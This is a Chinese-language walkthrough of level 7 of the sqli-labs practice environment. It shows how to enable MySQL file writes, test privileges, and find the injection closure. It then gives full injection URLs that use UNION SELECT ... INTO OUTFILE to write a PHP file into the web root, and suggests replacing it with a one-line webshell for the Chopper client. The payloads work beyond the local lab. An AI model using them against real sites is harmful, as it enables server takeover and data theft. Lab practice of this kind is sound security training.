打穿sqli-labs靶场第五天(less-7)文件写入
环境配置
该关卡需要用到文件写入操作,所以需要开启MySQL中的文件写入
进入MySQL下的bin目录,用命令行连接数据库
查看是否开启文件写入
show variables like '%secure%';
secure_file_priv选项为NULL,表示文件写入功能未开启
此时我们来到MySQL目录下打开my.ini文件,在其中写入secure_file_priv=“/”
保存文件,重启靶场环境,重新连接数据库,再次查看写入功能是否开启
less-7
浏览器访问靶场,选择第七关
根据提示是让我们使用文件写入进行注入
进入靶场,根据页面提示传参
http://127.0.0.1/sqli-labs-master/Less-7/?id=1
测试连接数据库用户是否具有文件写入权限
and (select count(*) from mysql.user)>0 如果结果返回正常,说明具有读写权限。
and (select count(*) from mysql.user)>0 返回错误,应该是管理员给数据库帐户降权
http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) and (select count(*) from mysql.user)>0 --+
页面回显正常,具有文件写入权限
测试注入点是否存在与是否使用符号过滤参数值
http://127.0.0.1/sqli-labs-master/Less-7/?id=‘ --+
虽然页面回显报错但是没有提示,测试多个符号后猜测此处没有报错提示。
根据之前页面回显,我们分析得知页面回显正常时会返回
You are in… Use outfile…
页面回显错误时会返回
You have an error in your SQL syntax
使用and 1=1 不停闭合符合直到页面回显正常信息为止
http://127.0.0.1/sqli-labs-master/Less-7/?id=1' and 1=1 --+
http://127.0.0.1/sqli-labs-master/Less-7/?id=1') and 1=1 --+
http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) and 1=1 --+
闭合符号,爆破字段长度,得知字段长度为3
http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) order by 3 --+
http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) order by 4 --+
构造SQL语句,写入文件,这里的路径是网站的绝对路径
http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) union select 1,2,'<?php phpinfo();?>' into outfile "C:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\sql1.php" --+
虽然页面回显错误,但是文件已成功写入
访问该文件,成功执行
之后修改写入的一句话,使用菜刀连接即可
总结
该关卡使用文件写入操作,需要先确定文件写入功能是否开启和当前用户是否具有文件写入权限。同时利用页面回显尝试闭合符号。在写入文件时要使用网站绝对路径。